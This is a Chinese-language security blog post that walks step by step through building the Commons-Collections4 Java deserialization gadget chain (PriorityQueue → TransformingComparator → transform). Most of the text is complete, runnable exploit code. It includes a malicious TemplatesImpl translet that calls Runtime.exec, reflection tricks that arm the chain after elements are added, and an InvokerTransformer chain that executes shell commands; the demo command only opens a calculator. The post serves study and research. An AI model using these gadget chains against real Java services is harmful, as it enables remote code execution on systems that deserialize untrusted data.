Apache_Commons_Collections4分析

简介

cc4 这条链是在 commons-collections4-4.0 中

对应的pom.xml 为

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

本质上sink 还是一致的,利用的是transform() 函数

分析

直接从transform() 函数开始分析,看什么地方调用了这个函数,还是要遵循两个目标

  1. 在readObject 直接调用
  2. 容易被调用

发现在cc4库中发现一个

image-20251009104240586

然后找一下compare 被哪些地方进行调用了

可以找到在java sdk 中被调用了

image-20251009104608742

发现有两个,那么就一个一个来

siftUpUsingComparator

image-20251009110123462

image-20251009110223633

第一个siftUp 后面是offer 我们要的是尽可能是readObject

第二个也不行,那么这条路就是不行

image-20251009110324901

siftDownUsingComparator

继续往上找

image-20251009110657779

image-20251009110724372

直接看第三个

image-20251009110757633

发现在readobject 中发现

那么链子就是

1
2
3
4
5
6
PriorityQueue.readObject() -> 
PriorityQueue.heapify() ->
PriorityQueue.siftDown() ->
PriorityQueue.siftDownUsingComparator() ->
TransformingComparator.compara() ->
利用transform()

编写链子

其实漏洞sink 都是一直的,我们可以先尝试使用动态类加载的方式

动态类加载

恶意类代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet{
{
String cmd="open -a Calculator.app";
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class cc4Learn {

/**
* 动态类加载
*/
public static void cc4_1_test() {
// 构造恶意的动态类加载sink
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// _tfactory
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

TransformingComparator transformingComparator = new TransformingComparator(ct);
transformingComparator.compare("a", "b");

}

public static void main(String[] args) {
cc4_1_test();
}
}

发现可以在cc4 库中完美复现,那么就是构造反序列化的测试

然后编写利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4Learn {

/**
* 动态类加载 测试
*/
public static void cc4_1_test() {
// 构造恶意的动态类加载sink
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// _tfactory
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

TransformingComparator transformingComparator = new TransformingComparator(ct);
transformingComparator.compare("a", "b");

}

/**
* 使用动态类加载的反序列化利用
*/

public static void cc4_1() throws Exception {
// 构造恶意的动态类加载sink
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// // _tfactory
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

TransformingComparator transformingComparator = new TransformingComparator(ct);



PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

// Serialize.serialize(priorityQueue);
Serialize.deserialize("ser928445.bin");

}

public static void main(String[] args) throws Exception {
cc4_1();
}
}

发现不会执行,动态调试试试

image-20251009112753118

image-20251009112845884

发现这个地方size=0 而且 需要i>=0 才会工作

那么size 右移之后应该等于2才行

image-20251009113016950

有两个办法,一个是反射修改size

一个是根据size 的意义做处理,比如过add()

size 是元素的个数

image-20251009113118727

反射修改size

变成如下样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4Learn {

/**
* 动态类加载 测试
*/
public static void cc4_1_test() {
// 构造恶意的动态类加载sink
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// _tfactory
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

TransformingComparator transformingComparator = new TransformingComparator(ct);
transformingComparator.compare("a", "b");

}

/**
* 使用动态类加载的反序列化利用
*/

public static void cc4_1() throws Exception {
// 构造恶意的动态类加载sink
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// // _tfactory
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

TransformingComparator transformingComparator = new TransformingComparator(ct);



PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

Class<? extends PriorityQueue> priorityQueueClass = priorityQueue.getClass();
Field sizeField = priorityQueueClass.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue, 2);



Serialize.serialize(priorityQueue);
// Serialize.deserialize("ser928445.bin");

}

public static void main(String[] args) throws Exception {
cc4_1();
}
}

发现成功执行

添加元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4Learn {

/**
* 动态类加载 测试
*/
public static void cc4_1_test() {
// 构造恶意的动态类加载sink
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// _tfactory
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

TransformingComparator transformingComparator = new TransformingComparator(ct);
transformingComparator.compare("a", "b");

}

/**
* 使用动态类加载的反序列化利用
*/

public static void cc4_1() throws Exception {
// 构造恶意的动态类加载sink
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// // _tfactory
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

TransformingComparator transformingComparator = new TransformingComparator(ct);



PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);




Serialize.serialize(priorityQueue,false);
// Serialize.deserialize("ser.bin");

}

public static void main(String[] args) throws Exception {
cc4_1();
}
}

发现报错了 发现是空指针

分析发现

add 函数会调用offer()

Offer() 会调用siftUp()

siftUp() 就是直接调用siftUpUsingComparator() 然后调用transform()

我们知道这个是不可拦截的,他会直接调用,那么我们在add 的时候搞一个无害的transform

然后在add() 之后修改成为有害的和cc3 的方法一直

然后就不会报错了

image-20251009115605823

再做一次反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4Learn {

/**
* 动态类加载 测试
*/
public static void cc4_1_test() {
// 构造恶意的动态类加载sink
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// _tfactory
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

TransformingComparator transformingComparator = new TransformingComparator(ct);
transformingComparator.compare("a", "b");

}

/**
* 使用动态类加载的反序列化利用
*/

public static void cc4_1() throws Exception {
// 构造恶意的动态类加载sink
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// // _tfactory
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));



PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);

Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class;
Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, ct);


Serialize.serialize(priorityQueue,false);
// Serialize.deserialize("ser.bin");

}

public static void main(String[] args) throws Exception {
cc4_1();
}
}

成功调用

使用反射加载

其实就是换成使用chainedTransformer 调用Runtime.getRuntime().exec()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4Learn {

/**
* 动态类加载 测试
*/
public static void cc4_1_test() {
// 构造恶意的动态类加载sink
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// _tfactory
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

TransformingComparator transformingComparator = new TransformingComparator(ct);
transformingComparator.compare("a", "b");

}

/**
* 使用动态类加载的反序列化利用
*/

public static void cc4_1() throws Exception {
// 构造恶意的动态类加载sink
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// // _tfactory
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));



PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);

Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class;
Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, ct);


// Serialize.serialize(priorityQueue,false);
Serialize.deserialize("ser.bin");

}


public static void cc4_2() throws Exception {

String cmd="open -a Calculator.app"; // 执行的命令

Transformer[] transformers = new org.apache.commons.collections4.Transformer[]{
new org.apache.commons.collections4.functors.ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));



PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);

Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class;
Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, ct);


// Serialize.serialize(priorityQueue,false);
Serialize.deserialize("ser.bin");

}

public static void main(String[] args) throws Exception {
cc4_2();
}
}


Apache_Commons_Collections4分析
https://tsy244.github.io/2025/10/09/java安全/Apache-Commons-Collections4分析/
Author
August Rosenberg
Posted on
October 9, 2025
Licensed under